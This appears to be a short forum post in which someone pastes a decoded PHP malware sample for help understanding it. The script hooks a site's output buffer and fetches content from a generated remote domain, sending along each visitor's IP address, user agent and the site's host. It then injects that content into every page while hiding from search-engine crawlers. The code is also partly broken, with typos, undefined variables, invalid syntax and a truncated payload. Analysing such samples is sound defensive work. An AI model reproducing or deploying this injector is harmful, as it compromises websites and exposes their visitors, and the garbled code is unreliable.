decode

googlefu came up with this:

<?php

/* Decoded by unphp.net */

$eva1fY2bak1cz0ir = "function_exists";
$eva1fY2bal1cz0ir = "ob_start";
$eva1fY2bal1cz8ir = "codex22";

if (function_exists("ob_start") && !isset($GLOBALS["codex22"])) {
    $GLOBALS["codex22"] = 1;

    if (!function_exists("eva1fY2bak1cV2ir")) {

        if (!function_exists("main_code")) {
            function main_code() {
                //echo start
                if (!isset($GLOBALS["aghex0"])) {
                    $GLOBALS["aghex0"] = 1;
                    $url_contents = "";
                    if (!isset($code_block)) {

                        // preg_replace($code_array[2], $code_array[1], strrev($code_array[0]));
                        // preg_replace("@(.+)@ie", "eval("
");", "@eval(base64_decode($code_block_parts[1]));");
                        // eval(base64_decode($code_block_parts[1])

                        // Original variable names
                        $code_block = "7kyJ7kSKi..."; // Truncated
                        $eva1fYlbakBcVSir = $code_block;
                        $eva1tYlbakBcVSir = "edolpxe";
                        $eva1tYldakBcVSir = "strrev";
                        $eva1tYldakBoVS1r = "ecalper_gerp";
                        $eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("
");:@(.+)@ie";
                        $eva1tYldokBcVSjr = strrev($eva1tYldakBoVS1r); // preg_replace
                        $eva1tYldakBcVSjr = strrev($eva1tYlbakBcVSir); // explode()

                        $eva1tYidakBcVSjr = explode('+', $code_block);
                        $code_block_parts = $eva1tYidakBcVSjr;

                        $eva1tYXdakAcVSjr = $code_block_parts[0];

                        $code_array = $eva1tYidokBcVSjr = array(
                            ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@",
                            "eval("
");",
                            "@(.+)@ie"
                        );


                        if (!isset($evalUdCXTDQERmWnDS)) {

                            function custom_strrev($s) {
                                $e = "";
                                for ($a = 0; $a <= strlen($s) - 1; $a++) {
                                    $e. = $s {
                                        strlen($s) - $a - 1
                                    };
                                }
                                return ($e);
                            }

                            $evallwhVfIVnWPbT = 'custom_strrev';
                            $evalMNhPOlTagIOfBSF = 'base64_decode';

                            $evalamSEiYUdCgdSW = "stats";
                            $evalTWeirVaqVW = "http";
                            $evalBdUbtGUDXfB = 'in';
                            $evalQwblCenFzUe = '!go!';
                            $evalrMsivpMgcfC = $_SERVER['HTTP_USER_AGENT'];

                            // eval(base64_decode(strrev($eva1tYXdakAcVSjr)));
                            $fif25 = "@(.+)@i";
                            $fif52 = 'eval("\1");';
                            $fit52 = '@eval(base64_decode("';
                            $retarn='preg_replace';
                            $retun='create_function';
                            $retrun='retrun';



                            function retrun($return) {
                                $funciton = create_function("&$"."function","$"."function = chr(ord($"."function)-3);");
                                $return = str_split($return);
                                array_walk($return, $funciton);
                                return base64_decode(implode("",$return));
                            }

                            // Renamed to get_domain()
                            // function dd0(){
                            //  $tsst52 = create_function('$return', 'return "web-".substr($return,0,3);');
                            //  $tsst5 = create_function('$return', 'return md5($return);');
                            //  $tsst51 = create_function('', 'return mt_rand(1-1,1+1);');
                            //  $tsst512 = create_function('$create_function', 'return gethostbyname($create_function.".c"."a");');
                            //  return $tsst5($tsst512($tsst52($tsst5($tsst51())))).".com";
                            // }

                            function get_domain(){
                                $rand_md5 = md5(mt_rand(0, 2));
                                $web = "web-".substr($rand_md5,0,3);
                                $host_lookup = gethostbyname($create_function.".c"."a");
                                return md5($host_lookup);
                            }

                            $user_agents = array(
                                "Google",
                                "Slurp",
                                "MSNBot",
                                "ia_archiver",
                                "Yandex",
                                "Rambler"
                            );
                            $evalTtDntGsohDPt = $user_agents; // Original variable name

                            eval(base64_decode("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
                            $evalgKgHOXrDzX = get_domain(); // f528764d624db129b32c21fbca0cb8d6.com

                            if((preg_match("/".implode("|", $user_agents)."/i", $_SEVER['HTTP_USER_AGENT'])) or( isset($_COOKIE['stats']))) {
                                ;
                            } else { @setcookie('stats', md5('status')), time() + 10800);

                                // URL Like:
                                $url_contents = evalWEMBIkqYOIIGcLBn("http://". get_domain() .'/Din.php?i='.$_SERVER['REMOTE_ADDR'].'&b='.urlencode($_SEVER['HTTP_USER_AGENT']).'&h='.urlencode($_SERVER['HTTP_HOST']));

                                if (strstr($url_contents, '!go!')) {
                                    $url_contents = explode('!go!', $url_contents);
                                    $url_contents = $url_contents[1];
                                }
                            }

                            $evalUdCXTDQERmWnDS = 18792;
                        }


                        $eva1tYldakBcVSir = "";
                        $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
                        $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
                        $eva1tYldakBcVSir = "strecrptr";
                        $eva1tYlbakBcVSir = "gao[pxe";
                        $eva1tYldakBoVS1r = "ecrp";
                        $eva1tYldakBcVSir = "";
                        $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
                        $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
                    }
                }

                return $url_contents;
            }
        }

        if (!$function_exists("gzdecode")) {

            function gzdecode($input_string) {

                // Original variable names
                $eva1fY2bal1cz8i4 = "strpos";
                $eva1fY2bol1cz8i5 = "substr";
                $eva1fY2bo11cz8i5 = "unpack";
                $eva1fY2bo1lcz8i5 = "chr";
                $eva1fY2bo1lzc8i5 = "gzinflate";

                $eva1fY2bo01zo317 = @ord(@substr($input_string, 3, 1));

                $eva1fY2bo01c0317 = 10;
                if ($eva1fY2bo01zo317 & 4) {
                    $eva1fY2bo01z0317 = @unpack('v', substr($input_string, 10, 2));
                    $eva1fY2bo01z0317 = $eva1fY2bo01z0317[1];
                    $eva1fY2bo01c0317 += 2 + $eva1fY2bo01z0317;
                }
                if ($eva1fY2bo01zo317 & 8) {
                    $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
                }
                if ($eva1fY2bo01zo317 & 16) {
                    $eva1fY2bo01c0317 = @strpos($input_string, chr(0), $eva1fY2bo01c0317) + 1;
                }
                if ($eva1fY2bo01zo317 & 2) {
                    $eva1fY2bo01c0317 += 2;
                }
                $output = @gzinflate(@substr($input_string, $eva1fY2bo01c0317));
                if ($output === FALSE) {
                    $output = $input_string;
                }
                return $output;
            }
        }

        function initial_entry($input_string) {

            // Original variable names
            $eva1fY2b01lzc8l5 = "preg_replace";
            $eva1fY2b0llzc8l5 = "preg_match";
            $eva1fY2b022zc8l5 = "Header";
            $eva1fY2b022zo8l5 = "gzdecode";
            $eva1fY2b052zo8l5 = "Content-Encoding: none";
            $eva1fY2b052zo8l1 = "/\<\/body/si";
            $eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si";
            $eva1fY2b061zo8l1 = "/\<\/html/si";
            $eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si";

            header("Content-Encoding: none");

            $decoded = gzdecode($input_string);

            if (preg_match("/\<\/body/si", $decoded)) {
                return preg_replace("/(\<\/body[^\>]*\>)/si", main_code()."
"."$1", $decoded, 1);
            } else {
                if (preg_match("/\<\/html/si", $decoded)) {
                    return preg_replace("/(\<\/html[^\>]*\>)/si", main_code()."
"."$1", $decoded, 1);
                } else {
                    return $decoded;
                }
            }
        }
        $eva1fY2bo61zo817 = "ob_start";

        ob_start("initial_entry");
    }
}